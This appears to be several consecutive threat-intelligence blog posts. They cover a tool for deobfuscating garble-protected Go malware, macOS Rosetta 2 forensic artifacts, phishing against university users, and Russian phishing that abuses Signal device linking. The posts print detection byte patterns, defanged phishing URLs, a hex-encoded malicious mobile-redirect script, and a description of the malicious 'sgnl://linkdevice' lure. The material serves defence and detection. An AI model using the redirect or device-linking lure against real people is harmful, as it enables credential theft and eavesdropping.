# Go compiler v1.21 -> v1.23 (x64) # Stack Transformation Epilogue Pattern 48 8D 5C ?? ?? lea rbx, [rsp+<num>] # decrypted string pointer B9 ?? ?? ?? ?? mov ecx, <num> # decrypted string length E8 ?? ?? ?? ?? call runtime_slicebytetostring 48 83 ?? ?? add rsp, <num> # epilogue clean up 5D pop rbp C3 retn --------------------------------------- # Split Transformation Epilogue Pattern 31 C0 xor eax, eax 48 89 ?? mov rbx, <reg> # decrypted string pointer 48 89 ?? mov rcx, <reg> # decrypted string length E8 ?? ?? ?? ?? call runtime_slicebytetostring 48 83 ?? ?? add rsp, <num> 5D pop rbp C3 retn --------------------------------------- # Seed Transformation Epilogue Pattern 48 8B ?? mov rbx, [<reg>] # decrypted string pointer 48 8B ?? ?? mov rcx, [<reg>+8] # decrypted string length 31 C0 xor eax, eax E8 ?? ?? ?? ?? call runtime_slicebytetostring 48 83 ?? ?? add rsp, <num> 5D pop rbp C3 retn

Figure 12: Epilogue patterns of garble’s decrypting subroutines

Through the assembly patterns in Figure 12, we develop regex patterns corresponding to each of garble's transformation types, which allows us to automatically identify string decrypting subroutines with high precision.

To extract the decrypted string, we must find the subroutine’s prologue and perform instruction-level emulation from this entry point until runtime_slicebytestring is called. For binaries of Go versions v1.21 to v1.23, we observe two main patterns of instructions in the subroutine prologue that perform the Go stack check.

# Go prologue pattern 1 49 3B ?? ?? cmp rsp, [<reg>+<num>] 0F 86 ?? ?? ?? ?? jbe <offset> ------------------------ # Go prologue pattern 2 49 3B ?? ?? cmp rsp, [<reg>+<num>] 76 ?? jbe short <offset>

Figure 13: Prologue instruction patterns of Go subroutines

These instruction patterns in the Go prologue serve as reliable entry point markers for emulation. The implementation in GoStringUngarbler leverages these structural patterns to establish reliable execution contexts for the unicorn emulation engine, ensuring accurate string recovery across various garble string transformations.

Figure 14 shows the output of our automated extraction framework, where GoStringUngarbler is able to identify and emulate all decrypting subroutines.

Figure 14: GoStringUngarbler’s string extraction output

From these instruction patterns, we have derived a YARA rule for detecting samples that are obfuscated with garble’s literal transformation. The rule can be found in Mandiant's GitHub repository.

Deobfuscation: Subroutine Patching

While extracting obfuscated strings can aid malware detection through signature-based analysis, this alone is not useful for reverse engineers conducting static analysis. To aid reverse engineering efforts, we've implemented a binary deobfuscation approach leveraging the emulation results. 

Although developing an IDA plugin would have streamlined our development process, we recognize that not all malware analysts have access to, or prefer to use, IDA Pro. To make our tool more accessible, we developed GoStringUngarbler as a standalone Python utility to process binaries protected by garble. The tool can deobfuscate and produce functionally identical executables with recovered strings stored in plain text, improving both reverse engineering analysis and malware detection workflows.

For each identified decrypting subroutine, we implement a strategic patching methodology, replacing the original code with an optimized stub while padding the remaining subroutine space with INT3 instructions (Figure 15).

xor eax, eax ; clear return register lea rbx, <string addr> ; Load effective address of decrypted string mov ecx, <string len> ; populate string length call runtime_slicebytetostring ; convert slice to Go string ret ; return the decrypted string

Figure 15: Function stub to patch over garble’s decrypting subroutines

Initially, we considered storing recovered strings within an existing binary section for efficient referencing from the patched subroutines. However, after examining obfuscated binaries, we found that there is not enough space within existing sections to consistently accommodate the deobfuscated strings. On the other hand, adding a new section, while feasible, would introduce unnecessary complexity to our tool.

Instead, we opt for a more elegant space utilization strategy by leveraging the inherent characteristics of garble's string transformations. In our tool, we implement in-place string storage by writing the decrypted string directly after the patched stub, capitalizing on the guaranteed available space from decrypting routines:

1. Stack transformation: The decrypting subroutine stores and processes encrypted strings on the stack, providing adequate space through their data manipulation instructions. The instructions originally used for pushing encrypted data onto the stack create a natural storage space for the decrypted string.

2. Seed transformation: For each character, the decrypting subroutine requires a call instruction to decrypt it and update the seed. This is more than enough space to store the decrypted bytes.

3. Split transformation: The decrypting subroutine contains multiple switch cases to handle fragmented data recovery and decryption. These extensive instruction sequences guarantee sufficient space for the decrypted string data.

Figure 16 and Figure 17 show the disassembled and decompiled output of our patching framework, where GoStringUngarbler has deobfuscated a decrypting subroutine to display the recovered original string.

Figure 16: Disassembly view of a deobfuscated decrypting subroutine

Figure 17: Decompiled view of a deobfuscated decrypting subroutine

Downloading GoStringUngarbler

GoStringUngarbler is now available as an open-source tool in Mandiant's GitHub repository. 

The installation requires Python3 and Python dependencies from the requirements.txt file.

Future Work

Deobfuscating binaries generated by garble presents a specific challenge—its dependence on the Go compiler for obfuscation means that the calling convention can evolve between Go versions. This change can potentially invalidate the regular expression patterns used in our deobfuscation process. To mitigate this, we've designed GoStringUngarbler with a modular plugin architecture. This allows for new plugins to be easily added with updated regular expressions to handle variations introduced by new Go releases. This design ensures the tool's long-term adaptability to future changes in garble’s output.

Currently, GoStringUngarbler primarily supports garble-obfuscated PE and ELF binaries compiled with Go versions 1.21 through 1.23. We are continuously working to expand this range as the Go compiler and garble are updated.

Acknowledgments

Special thanks to Nino Isakovic and Matt Williams for their review and continuous feedback throughout the development of GoStringUngarbler. Their insights and suggestions have been invaluable in shaping and refining the tool’s final implementation.

We are also grateful to the FLARE team members for their review of this blog post publication to ensure its technical accuracy and clarity.

Additional thanks to OALabs for their valuable insights from their initial research on garble’s string encryption.

Finally, we want to acknowledge the developers of garble for their outstanding work on this obfuscating compiler. Their contributions to the software protection field have greatly advanced both offensive and defensive security research on Go binary analysis.

Written by: Joshua Goddard

Executive Summary

• Rosetta 2 is Apple's translation technology for running x86-64 binaries on Apple Silicon (ARM64) macOS systems.

• Rosetta 2 translation creates a cache of Ahead-Of-Time (AOT) files that can serve as valuable forensic artifacts.

• Mandiant has observed sophisticated threat actors leveraging x86-64 compiled macOS malware, likely due to broader compatibility and relaxed execution policies compared to ARM64 binaries.

• Analysis of AOT files, combined with FSEvents and Unified Logs (with a custom profile), can assist in investigating macOS intrusions.

Introduction

Rosetta 2 (internally known on macOS as OAH) was introduced in macOS 11 (Big Sur) in 2020 to enable binaries compiled for x86-64 architectures to run on Apple Silicon (ARM64) architectures. Rosetta 2 translates signed and unsigned x86-64 binaries just-in-time or ahead-of-time at the point of execution. Mandiant has identified several new highly sophisticated macOS malware variants over the past year, notably compiled for x86-64 architecture. Mandiant assessed that this choice of architecture was most likely due to increased chances of compatibility on victim systems and more relaxed execution policies. Notably, macOS enforces stricter code signing requirements for ARM64 binaries compared to x86-64 binaries running under Rosetta 2, making unsigned ARM64 binaries more difficult to execute. Despite this, in the newly identified APT malware families observed by Mandiant over the past year, all were self-signed, likely to avoid other compensating security controls in place on macOS.

The Rosetta 2 Cache

When a x86-64 binary is executed on a system with Rosetta 2 installed, the Rosetta 2 Daemon process (oahd) checks if an ahead-of-time (AOT) file already exists for the binary within the Rosetta 2 cache directory on the Data volume at /var/db/oah/<UUID>/. The UUID value in this file path appears to be randomly generated on install or update. If an AOT file does not exist, one will be created by writing translation code to a .in_progress file and then renaming it to a .aot file of the same name as the original binary. The Rosetta 2 Daemon process then runs the translated binary.

The /var/db/oah directory and its children are protected and owned by the OAH Daemon user account _oahd. Interaction with these files by other user accounts is only possible if System Integrity Protection (SIP) is disabled, which requires booting into recovery mode.

The directories under /var/db/oah/<UUID>/ are binary UUID values that correspond to translated binaries. Specifically, these binary UUID values are SHA-256 hashes generated from a combination of the binary file path, the Mach-O header, timestamps (created, modified, and changed), size, and ownership information. If the same binary is executed with any of these attributes changed, a new Rosetta AOT cache directory and file is created. While the content of the binaries is not part of this hashing function, changing the content of a file on an APFS file system will update the changed timestamp, which effectively means content changes can cause the creation of a new binary UUID and AOT file. Ultimately, the mechanism is designed to be extremely sensitive to any changes to x86-64 binaries at the byte and file system levels to reduce the risk of AOT poisoning.

Figure 1: Sample Rosetta 2 cache directory structure and contents

The Rosetta 2 cache binary UUID directories and the AOT files they contain appear to persist until macOS system updates. System updates have been found to cause the deletion of the cache directory (the Random UUID directory). After the upgrade, a directory with a different UUID value is created, and new Binary UUID directories and AOT files are created upon first launch of x86-64 binaries thereafter.

Translation and Universal Binaries

When universal binaries (containing both x86-64 and ARM64 code) are executed by a x86-64 process running through Rosetta 2 translation, the x86-64 version of these binaries is executed, resulting in the creation of AOT files.

Figure 2: Overview of execution of universal binaries with X864-64 processes translated through Rosetta 2 versus ARM64 processes

In a Democratic People's Republic of Korea (DPRK) crypto heist investigation, Mandiant observed a x86-64 variant of the POOLRAT macOS backdoor being deployed and the attacker proceeding to execute universal system binaries including ping, chmod, sudo, id, and cat through the backdoor. This resulted in AOT files being created and provided evidence of attacker interaction on the system through the malware (Figure 5).

In some cases, the initial infection vector in macOS intrusions has involved legitimate x86-64 code that executes malware distributed as universal binaries. Because the initial x86-64 code runs under Rosetta 2, the x86-64 versions of malicious universal binaries are executed, leaving behind Rosetta 2 artifacts, including AOT files. In one case, a malicious Python 2 script led to the downloading and execution of a malicious universal binary. The Python 2 interpreter ran under Rosetta 2 since no ARM64 version was available, so the system executed the x86-64 version of the malicious universal binary, resulting in the creation of AOT files. Despite the attacker deleting the malicious binary later, we were able to analyze the AOT file to understand its functionality.

Unified Logs

The Rosetta 2 Daemon emits logs to the macOS Unified Log; however, the binary name values are marked as private. These values can be configured to be shown in the logs with a custom profile installed. Informational logs are recorded for AOT file lookups, when cached AOT files are available and utilized, and when translation occurs and completes. For binaries that are not configured to log to the Unified Log and are not launched interactively, in some cases this was found to be the only evidence of execution within the Unified Logs. Execution may be correlated with other supporting artifacts; however, this is not always possible.

0x21b1afc Info 0x0 1596 0 oahd: <private>(1880): Aot lookup request for <private> 0x21b1afc Info 0x0 1596 0 oahd: <private>(1880): Translating image <private> -> <private> 0x21b1afc Info 0x0 1596 0 oahd: <private>(1880): Translation finished for <private> 0x21b1afc Info 0x0 1596 0 oahd: <private>(1880): Aot lookup request for <private> 0x21b1afc Info 0x0 1596 0 oahd: <private>(1880): Using cached aot <private> -> <private>

Figure 3: macOS Unified Logs showing Rosetta lookups, using cached files, and translating with private data disabled (default)

0x2ec304 Info 0x0 668 0 oahd: my_binary (Re(34180): Aot lookup request for /Users/Mandiant/my_binary 0x2ec304 Info 0x0 668 0 oahd: my_binary (Re(34180): Translating image /Users/Mandiant/my_binary -> /var/db/oah/237823680d6bdb1e9663d60cca5851b63e79f6c 8e884ebacc5f285253c3826b8/1c65adbef01f45a7a07379621 b5800fc337fc9db90d8eb08baf84e5c533191d9/my_binary.in_progress 0x2ec304 Info 0x0 668 0 oahd: my_binary (Re(34180): Translation finished for /Users/Mandiant/my_binary 0x2ec304 Info 0x0 668 0 oahd: my_binary(34180): Aot lookup request for /Users/Mandiant/my_binary 0x2ec304 Info 0x0 668 0 oahd: my_binary(34180): Using cached aot /Users/Mandiant/my_binary -> /var/db/oah/237823680d6bdb1e9663d60cca5851b63e 79f6c8e884ebacc5f285253c3826b8/1c65adbef01f45a7 a07379621b5800fc337fc9db90d8eb08baf84e5c533191d9/my_binary.aot

Figure 4: macOS Unified Logs showing Rosetta lookups, using cached files, and translating with private data enabled (with custom profile installed)

FSEvents

FSEvents can be used to identify historical execution of x86-64 binaries even if Unified Logs or files in the Rosetta 2 Cache are not available or have been cleared. These records will show the creation of directories within the Rosetta 2 cache directory, the creation of .in_progress files, and then the renaming of the file to the AOT file, which will be named after the original binary.

private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/5660060629e3493074db75fba3 5cff449a366ea59b26af7d54c59779cdfac161 FolderEvent; FolderCreated; 35102230 private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/5660060629e3493074db75fba35 cff449a366ea59b26af7d54c59779cdfac161/ com.apple.systemsettings.cache.aot.in_progress FileEvent; Created;Renamed;Modified; 35102231 private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/5660060629e3493074db75fba35 cff449a366ea59b26af7d54c59779cdfac161/com.apple.systemsettings.cache.aot FileEvent; Renamed; 35102231 private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/31a32b61c112dae22363556599f 73f25fab17744eb0c51b8d0071c53bb878471 FolderEvent; FolderCreated; 35102223 private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/31a32b61c112dae22363556599 f73f25fab17744eb0c51b8d0071c53bb878471/sudo.aot.in_progress FileEvent; Created;Renamed;Modified; 35102224 private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/31a32b61c112dae22363556599 f73f25fab17744eb0c51b8d0071c53bb878471/sudo.aot FileEvent; Renamed; 35102224 private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/9d8b46ee31e24e4988f923ac2e5 23171b7868f20b671cbaeb39d8db6199f4629 FolderEvent; FolderCreated; 35102259 private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/9d8b46ee31e24e4988f923ac2e5 23171b7868f20b671cbaeb39d8db6199f4629/id.aot.in_progress FileEvent; Created;Renamed;Modified; 35102260 private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/9d8b46ee31e24e4988f923ac2e5 23171b7868f20b671cbaeb39d8db6199f4629/id.aot FileEvent; Renamed; 35102260 private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/fc9130581b8efed813de3826cfd 4bb34586b0872a0977efaa1d51f0861f564c9 FolderEvent; FolderCreated; 35102355 private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/fc9130581b8efed813de3826cfd 4bb34586b0872a0977efaa1d51f0861f564c9/chmod.aot.in_progress FileEvent; Created;Renamed;Modified; 35102356 private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/fc9130581b8efed813de3826cfd 4bb34586b0872a0977efaa1d51f0861f564c9/chmod.aot FileEvent; Renamed; 35102356 private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/c38ceae510d3b2a96bfa6f040fdf 7587121eb388f508c5d50f53efc40cf35dde FolderEvent; FolderCreated; 35102671 private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/c38ceae510d3b2a96bfa6f040fdf 7587121eb388f508c5d50f53efc40cf35dde/cat.aot.in_progress FileEvent; Created;Renamed;Modified; 35102672 private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/c38ceae510d3b2a96bfa6f040fdf 7587121eb388f508c5d50f53efc40cf35dde/cat.aot FileEvent; Renamed; 35102672

Figure 5: Decoded FSEvents records showing the translation of a x86-64 POOLRAT variant on macOS, and subsequent universal system binaries executed by the malware as x86-64

AOT File Analysis

The AOT files within the Rosetta 2 cache can provide valuable insight into historical evidence of execution of x86-64 binaries. In multiple cases over the past year, Mandiant identified macOS systems being the initial entry vector by APT groups targeting cryptocurrency organizations. In the majority of these cases, Mandiant identified evidence of the attackers deleting the malware on these systems within a few minutes of a cryptocurrency heist being perpetrated. However, the AOT files were left in place, likely due to the protection by SIP and the relative obscurity of this forensic artifact.

From a forensic perspective, the creation and modification timestamps on these AOT files provide evidence of the first time a specified binary was executed on the system with a unique combination of the attributes used to generate the SHA-256 hash. These timestamps can be corroborated with other artifacts related to binary execution where available (for example, Unified Logs or ExecPolicy, XProtect, and TCC Databases), and file system activity through FSEvents records, to build a more complete picture of infection and possible attacker activity if child processes were executed.

Where multiple AOT files exist for the same origin binary under different Binary UUID directories in the Rosetta 2 cache, and the content (file hashes) of those AOT files is the same, this is typically indicative of a change in file data sections, or more commonly, file system metadata only.

Mandiant has previously shown that AOT files can be analyzed and used for malware identification through correlation of symbols. AOT files are Mach-O binaries that contain x86-64 instructions that have been translated from the original ARM64 code. They contain jump-backs into the original binary and contain no API calls to reference. Certain functionality can be determined through reverse engineering of AOT files; however, no static data, including network-based indicators or configuration data, are typically recoverable. In one macOS downloader observed in a notable DPRK cryptocurrency heist, Mandiant observed developer file path strings as part of the basic Mach-O information contained within the AOT file. The original binary was not recovered due to the attacker deleting it after the heist, so this provided useful data points to support threat actor attribution and malware family assessment.

/Users/crown/Library/Developer/Xcode/DerivedData/ DownAndMemload-becawjfobisdcocirecqedzcixcf/Build/Intermediates.noindex/ DownAndMemload.build/Release/DownAndMemload.build/ Objects-normal/x86_64/main.o /Users/crown/Library/Developer/Xcode/DerivedData/ DownAndMemload-becawjfobisdcocirecqedzcixcf/Build/Intermediates.noindex/ DownAndMemload.build/Release/DownAndMemload.build/Objects-normal/ x86_64/queue.o /Volumes/Data/Development/DownAndMemload/DownAndMemload/ _g_szServerUrl _szgetpwuid _szsleep

Figure 6: Interesting strings from an AOT file related to a malicious DPRK downloader that was unrecoverable

In any case, determining malware functionality is more effective using the original complete binary instead of the AOT file, because the AOT file lacks much of the contextual information present in the original binary. This includes static data and complete Mach-O headers.

Poisoning AOT Files

Much has been written within the industry about the potential for the poisoning of the Rosetta 2 cache through modification or introduction of AOT files. Where SIP is disabled, this is a valid attack vector. Mandiant has not yet seen this technique in the wild; however, during hunting or investigation activities, it is advisable to be on the lookout for evidence of AOT poisoning. The best way to do this is by comparing the contents of the ARM64 AOT files with what would be expected based on the original x86-64 executable. This can be achieved by taking the original x86-64 executable and using it to generate a known-good AOT file, then comparing this to the AOT file in the cache. Discrepancies, particularly the presence of injected shellcode, could indicate AOT poisoning.

Conclusion

There are several forensic artifacts on macOS that may record historical evidence of binary execution. However, in cases of advanced intrusions with forensically aware attackers, original binaries being deleted, and no further security monitoring solutions, combining FSEvents, Unified Logs, and, crucially, residual AOT files on disk has provided the residual evidence of intrusion on a macOS system.

Whilst signed macOS ARM64 binaries may be the future, for now AOT files and the artifacts surrounding them should be reviewed in analysis of any suspected macOS intrusion and leveraged for hunting opportunities wherever possible.

The behavior identified in the cases presented here was identified on various versions of macOS between 13.5 and 14.7.2. Future or previous versions of macOS and Rosetta 2 may behave differently.

Acknowledgements

Special thanks to Matt Holley, Mohamed El-Banna, Robert Wallace, and Adrian Hernandez.

Written by: Ashley Pearson, Ryan Rath, Gabriel Simches, Brian Timberlake, Ryan Magaw, Jessica Wilbur

Overview

Beginning in August 2024, Mandiant observed a notable increase in phishing attacks targeting the education industry, specifically U.S.-based universities. A separate investigation conducted by the Google’s Workspace Trust and Safety team identified a long-term campaign spanning from at least October 2022, with a noticeable pattern of shared filenames, targeting thousands of educational institution users per month.

These attacks exploit trust within academic institutions to deceive students, faculty, and staff, and have been timed to coincide with key dates in the academic calendar. The beginning of the school year, with its influx of new and returning students combined with a barrage of administrative tasks, as well as financial aid deadlines, can create opportunities for attackers to carry out phishing attacks. In these investigations, three distinct campaigns have emerged, attempting to take advantage of these factors. 

In one campaign, attackers leveraged phishing campaigns utilizing compromised educational institutions to host Google Forms. At this time, Mandiant has observed at least 15 universities targeted in these phishing campaigns. In this case, the malicious forms were reported and subsequently removed. As such, at this time none of the phishing forms identified are currently active. Another campaign involved scraping university login pages and re-hosting them on the attacker-controlled infrastructure. Both campaigns exhibited tactics to obfuscate malicious activity while increasing their perceived legitimacy, ultimately to perform payment redirection attacks. These phishing methods employ various tactics to trick victims into revealing login credentials and financial information, including requests for school portal login verification, financial aid disbursement, refund verification, account deactivation, and urgent responses to campus medical inquiries.

Google takes steps to protect users from misuse of its products, and create an overall positive experience. However, awareness and education play a big role in staying secure online. To better protect yourself and others, be sure to report abuse.  

Case Study 1: Google Forms Phishing Campaign

The first observed campaign involved a two-pronged phishing campaign. Attackers distributed phishing emails that contained a link to a malicious Google Form. These emails and their respective forms were designed to mimic legitimate university communications, but requested sensitive information, including login credentials and financial details.

Figure 1: Example phishing email

Figure 2: Another example phishing email

The email is just the initial stage of the attack. While there are legitimate URLs contained within the phish, there is also a request to visit an external link to provide “urgent” information. This external link leads victims to a Google Form that has been tailored to the targeted university, including a color scheme in the school colors, a header with the logo or mascot, and references to the university name. Mandiant has observed the creation and staging of several different Google Forms, all with different methods employed to trick victims into providing sensitive information. In one instance, the social engineering pretext is that a student’s account is “associated with logins from two separate university portals”, a conflict which, if not resolved, will lead to interruption in service at both universities.

Figure 3: Example Google Form phish

These Google Forms phishing campaigns are not just limited to targeting login credentials. In several instances, Mandiant observed threat actors attempting to obtain financial institution details.

Your school has collaborated with <redacted> to streamline fund distribution to students. <redacted> ensures the quickest, most dependable, and secure method for disbursing Emergency Grants to eligible students. Unfortunately, we've identified an outstanding issue regarding the distribution of your financial aid through <redacted>. We kindly request that you review and, if necessary, update your <redacted> information within the net 24 hours. Failing to address this promptly may result in delays in receiving your funds.

Figure 4: Example Google Form phish

After successfully compromising and propagating additional phishes using the compromised environment, the threat actor then uses the victim’s infrastructure to host a similar campaign targeting future victims. In some cases, the Google Form link was shut down and then repurposed to further the attacker’s objectives.

Case Study 2: Website Cloning and Redirection

This campaign involves a sophisticated phishing attack where threat actors cloned a university website, mimicking the legitimate login portal. However, this cloned website involved a series of redirects, specifically targeting mobile devices. 

The embedded JavaScript performs a “mobile check” and user-agent string verification and performed the following hex-encoded redirect:

if (window.mobileCheck()) {
 window.location.href="\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74 \x6c\x79\x2e\x74\x6f\x64\x61\x79\x2f\x4a\x4e\x78\x30\x72\x37";
 }

Figure 5: JavaScript Hex-encoded redirect

This JavaScript checks to determine if the user is on a mobile device. If they are, it redirects them to one of several possible follow-on URLs. These are two examples:

• hxxp://cutly[.]today/JNx0r7
• hxxp://kutly[.]win/Nyq0r4

Case Study 3: Two-Step Phishing Campaign Targeting Staff and Students

Google’s Workspace Trust and Safety team also observed a two-step phishing campaign targeting staff and students. First, attackers send a phishing email to faculty and staff. The emails are designed to entice faculty and staff to provide their login credentials in order to view a document about a raise or bonus.

Figure 6: Example of phishing email targeting faculty and staff

Next, attackers use login credentials provided by faculty and staff to hijack their account and email phishing forms to students. These forms are designed to look like job applications, and phish for personal and financial information.

Figure 7: Example of phishing form emailed to students

Understanding Payment Redirection Attacks

Payment redirection attacks via Business Email Compromise (BEC) are a sophisticated form of financial fraud. In these attacks, cyber threat actors gain unauthorized access to a business email account and exploit it to redirect payments meant for legitimate recipients into their own accounts. While these attacks often involve the diversion of large transfers, there have been instances where attackers divert small amounts (typically 5-10%) to lower the likelihood of detection. This outlier tactic allows them to steal funds gradually, making it more challenging to detect unauthorized transactions.

Figure 8: Payment redirection attacks

Initial Compromise: Attackers often begin by gaining access to a legitimate email account through phishing, social engineering, or exploiting vulnerabilities. A common phishing technique involves using online surveys or other similar platforms to create convincing but fraudulent login pages or forms. When unsuspecting employees enter their credentials, attackers capture them and gain unauthorized access.  

Reconnaissance: Once they have access to the email account, attackers closely monitor communications to understand the organization’s financial processes, the relationships with vendors, and the typical language used in financial transactions. This reconnaissance phase is crucial for the attackers to craft convincing fraudulent emails that appear authentic to their victims.  

Impersonation and Execution: Armed with the information gathered during reconnaissance, attackers impersonate the compromised user or create look-alike email addresses. The TA then sends emails to employees, vendors, or clients, instructing them to change payment details for an upcoming transaction. Believing these requests to be legitimate, recipients comply, and the funds are redirected to accounts controlled by the attackers.  

Withdrawal and Laundering: After the funds are diverted, attackers quickly withdraw or move the money across multiple accounts to make recovery difficult. The types of funds being stolen can vary widely and include financial aid such as FAFSA, refunds, scholarships, payroll, and other large transactions like vendor payments or grants. This diversity in targeted funds complicates efforts by organizations and law enforcement to trace and recover the stolen money, as each category may involve different institutions and processes.  

The Impact of Payment Redirection Attacks

The consequences of a successful payment redirection attack can be severe:

• Financial Losses: Organizations may lose substantial amounts of money, potentially running into millions of dollars, depending on the size of the transactions. 

• Reputational Damage: Clients and partners affected by these attacks may lose trust in the organization, which can harm long-term business relationships and brand reputation.  

• Operational Disruption: The aftermath of an attack often involves extensive investigations, coordination with financial institutions and law enforcement, and implementing enhanced security measures, all of which can disrupt normal business operations.  

Mitigating Payment Redirection Attacks

To protect against payment redirection attacks, Mandiant recommends a multi-layered approach focusing on prevention, detection, and response:

• Implement Multi-Factor Authentication (MFA): Requiring MFA for accessing email accounts adds an additional layer of security. Even if an attacker obtains a user’s credentials, they would still need the second factor to gain access, significantly reducing the risk of account compromise. Mandiant has observed many universities, which require MFA for current faculty/staff/students, but not for alumni accounts. While alumni accounts aren’t necessarily at risk of payment redirection attacks, Mandiant has identified instances where alumni accounts have been leveraged to access other user accounts in the environment.

• Conduct Employee Training: Regular training sessions can help employees recognize phishing attempts and suspicious emails. Training should emphasize vigilance against phishing forms hosted on platforms like Google Forms, and stress the importance of verifying unusual requests, especially those involving financial transactions or changes in payment details. If a Google Forms page seems suspicious, report it as phishing.

• Establish Payment Verification Protocols: Organizations should have strict procedures for verifying changes in payment information. For example, a policy that requires confirmation of changes via a known phone number or a separate communication channel can help ensure that any alterations are legitimate.  

• Use Canary Tokens for Detection: Deploying canary tokens, which are unique identifiers embedded in web pages or documents, can serve as an early warning system. If attackers scrape legitimate web pages to host them maliciously on their infrastructure, these tokens trigger alerts, notifying security teams of potential compromise or unauthorized data access.  

• Use Advanced Email Security Solutions: Deploying advanced email filtering and monitoring solutions can help detect and block malicious emails. These tools can analyze email metadata, check for domain anomalies, and identify patterns indicative of BEC attempts.

• Built-in Protections with Gmail: Employs AI, threat signals, and Safe Browsing to block 99.9% of spam, phishing, and malware, while also detecting more malware than traditional antivirus and preventing suspicious account sign-ins.

• Develop a robust Incident Response Plan: A well-defined incident response plan specifically addressing BEC scenarios enables organizations to act swiftly when an attack is detected. This plan should include procedures for containing the breach, notifying affected parties, and collaborating with financial institutions and law enforcement to recover lost funds.  

• Limit the number of emails a standard user can send in a day: Implementing a policy that restricts the number of emails a standard user can send daily provides additional safeguards in preventing the mass dissemination of phishing emails or malicious content from compromised accounts. This limit can act as a safety net, reducing the potential impact of a compromised account and making it harder for attackers to carry out large-scale phishing campaigns. 

• Context-Aware Access Monitoring: Utilize context-aware access monitoring to enhance security by analyzing the context of each login attempt. This includes  evaluating factors such as the user's location, device, and behavior patterns. If an access attempt deviates from established norms, such as an unusual login location or device, additional verification steps can be triggered. This helps detect and prevent unauthorized access, particularly in cases where credentials may have been compromised.

Detection

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included a subset of these indicators of compromise (IOCs) in this post, and in a GTI Collection for registered users.

Written by: Dan Black

Google Threat Intelligence Group (GTIG) has observed increasing efforts from several Russia state-aligned threat actors to compromise Signal Messenger accounts used by individuals of interest to Russia's intelligence services. While this emerging operational interest has likely been sparked by wartime demands to gain access to sensitive government and military communications in the context of Russia's re-invasion of Ukraine, we anticipate the tactics and methods used to target Signal will grow in prevalence in the near-term and proliferate to additional threat actors and regions outside the Ukrainian theater of war.

Signal's popularity among common targets of surveillance and espionage activity—such as military personnel, politicians, journalists, activists, and other at-risk communities—has positioned the secure messaging application as a high-value target for adversaries seeking to intercept sensitive information that could fulfill a range of different intelligence requirements. More broadly, this threat also extends to other popular messaging applications such as WhatsApp and Telegram, which are also being actively targeted by Russian-aligned threat groups using similar techniques. In anticipation of a wider adoption of similar tradecraft by other threat actors, we are issuing a public warning regarding the tactics and methods used to date to help build public awareness and help communities better safeguard themselves from similar threats.

We are grateful to the team at Signal for their close partnership in investigating this activity. The latest Signal releases on Android and iOS contain hardened features designed to help protect against similar phishing campaigns in the future. Update to the latest version to enable these features.

Phishing Campaigns Abusing Signal's "Linked Devices" Feature

The most novel and widely used technique underpinning Russian-aligned attempts to compromise Signal accounts is the abuse of the app's legitimate "linked devices" feature that enables Signal to be used on multiple devices concurrently. Because linking an additional device typically requires scanning a quick-response (QR) code, threat actors have resorted to crafting malicious QR codes that, when scanned, will link a victim's account to an actor-controlled Signal instance. If successful, future messages will be delivered synchronously to both the victim and the threat actor in real-time, providing a persistent means to eavesdrop on the victim's secure conversations without the need for full-device compromise.

• In remote phishing operations observed to date, malicious QR codes have frequently been masked as legitimate Signal resources, such as group invites, security alerts, or as legitimate device pairing instructions from the Signal website.

• In more tailored remote phishing operations, malicious device-linking QR codes have been embedded in phishing pages crafted to appear as specialized applications used by the Ukrainian military.

• Beyond remote phishing and malware delivery operations, we have also seen malicious QR codes being used in close-access operations. APT44 (aka Sandworm or Seashell Blizzard, a threat actor attributed by multiple governments to the Main Centre for Special Technologies (GTsST) within Main Directorate of the General Staff of the Armed Forces of the Russian Federation (GU), known commonly as the GRU) has worked to enable forward-deployed Russian military forces to link Signal accounts on devices captured on the battlefield back to actor-controlled infrastructure for follow-on exploitation.

Notably, this device-linking concept of operations has proven to be a low-signature form of initial access due to the lack of centralized, technology-driven detections and defenses that can be used to monitor for account compromise via newly linked devices; when successful, there is a high risk that a compromise can go unnoticed for extended periods of time.

UNC5792: Modified Signal Group Invites

To compromise Signal accounts using the device-linking feature, one suspected Russian espionage cluster tracked as UNC5792 (which partially overlaps with CERT-UA's UAC-0195) has altered legitimate "group invite" pages for delivery in phishing campaigns, replacing the expected redirection to a Signal group with a redirection to a malicious URL crafted to link an actor-controlled device to the victim's Signal account.

• In these operations, UNC5792 has hosted modified Signal group invitations on actor-controlled infrastructure designed to appear identical to a legitimate Signal group invite.

• In each of the fake group invites, JavaScript code that typically redirects the user to join a Signal group has been replaced by a malicious block containing the Uniform Resource Identifier (URI) used by Signal to link a new device to Signal (i.e., "sgnl://linkdevice?uuid="), tricking victims into linking their Signal accounts to a device controlled by UNC5792.

Figure 1: Example modified Signal group invite hosted on UNC5792-controlled domain "signal-groups[.]tech"

function doRedirect() { if (window.location.hash) { var redirect = "sgnl://signal.group/" + window.location.hash document.getElementById('go-to-group').href = redirect window.location = redirect } else { document.getElementById('join-button').innerHTML = "No group found." window.onload = doRedirect

Figure 2: Typical legitimate group invite code for redirection to a Signal group

